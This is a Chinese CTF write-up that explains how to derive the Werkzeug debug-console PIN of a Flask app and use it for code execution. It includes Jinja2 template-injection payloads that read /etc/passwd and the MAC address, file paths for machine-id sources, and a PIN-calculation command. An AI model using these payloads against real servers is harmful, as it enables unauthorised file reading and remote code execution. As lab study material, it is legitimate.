flask计算pin值
0x01 前言
最近有道flask
不仅仅可以绕过黑名单而且开启了debug
模式可以进行pin
值计算getshell
0x02
原理
pin
码是flask在开启debug模式下,进行代码调试模式所需的进入密码,需要正确的PIN码才能进入调试模式,可以理解为自带的webshell
计算
1 | probably_public_bits = [ |
那么我们主要研究如何得到docker
的相关
username
用户名。通过
getpass.getuser()
读取,通过文件读取/etc/passwd
。modname
模块名。通过
getattr(mod,"file",None)
读取,默认值为flask.app
。appname
应用名。通过
getattr(app,"name",type(app).name)
读取,默认值为Flask
。moddir
Flask库下
app.py
的绝对路径。通过getattr(mod,"file",None)
读取,实际应用中通过报错读取。uuidnode
当前网络的mac地址的十进制数。通过
uuid.getnode()
读取,通过文件/sys/class/net/eth0/address
得到16进制结果,转化为10进制进行计算。machine_id 下面讲
当然最重要的就是这个machine_id
我们可以通过查看方法来看为什么
这里以/usr/local/lib/python3.7/site-packages/werkzeug/debug/__init__.py
为例子
1 | def get_machine_id() -> str | bytes | None: |
1 | 1. /etc/machine-id(一般仅非docker机有,截取全文) |
实验代码
1 | from flask import Flask |
由于我的Windows系统不能实验这里就贴个代码吧看题
计算脚本
1 | import hashlib |
demo1
[GYCTF2020]FlaskApp
1 | {%for c in x.__class__.__base__.__subclasses__() %}{%if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read()}}{%endif %}{%endfor %} |
1 | flask.app |
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read()}}{% endif %}{% endfor %} |
1 | 首先访问`/etc/machine-id`,有值就break,没值就访问`/proc/sys/kernel/random/boot_id`,然后不管此时有没有值,再访问`/proc/self/cgroup` 或 `/proc/self/mountinfo` 或 `/proc/self/cpuset` 其中的值拼接到前面的值后面。 |
这里是python3.7
所以使用md5
终于打通了 /console
1 | >>> import os |
demo2
ctfshow801
进来看到提示直接报错得到
1 | /usr/local/lib/python3.8/site-packages/flask/app.py |
1 | python "c:\Users\baozhongqi\Documents\VSCODE\.vscode\python\index.py" -u root -p /usr/local/lib/python3.8/site-packages/flask/app.py -M 02:42:ac:0c:4e:cd -i 225374fa-04bc-4346-9f39-48fa82829ca9738efa7dcfc01e1f32b0efb1d6c4150b8895b33855bb0097449ed6f1dfde2d6b |
这里是python3.8
,使用哈希的
访问console
一样的成功RCE
0x03 小结
调试模式还有这些新奇的姿势,好玩,虽然中途对machine_id
有些疑惑但是最后还是成功的明白了
- Title: flask计算pin值
- Author: baozongwi
- Created at : 2024-08-19 09:09:00
- Updated at : 2024-10-05 14:50:44
- Link: https://baozongwi.xyz/2024/08/19/flask计算pin值/
- License: This work is licensed under CC BY-NC-SA 4.0.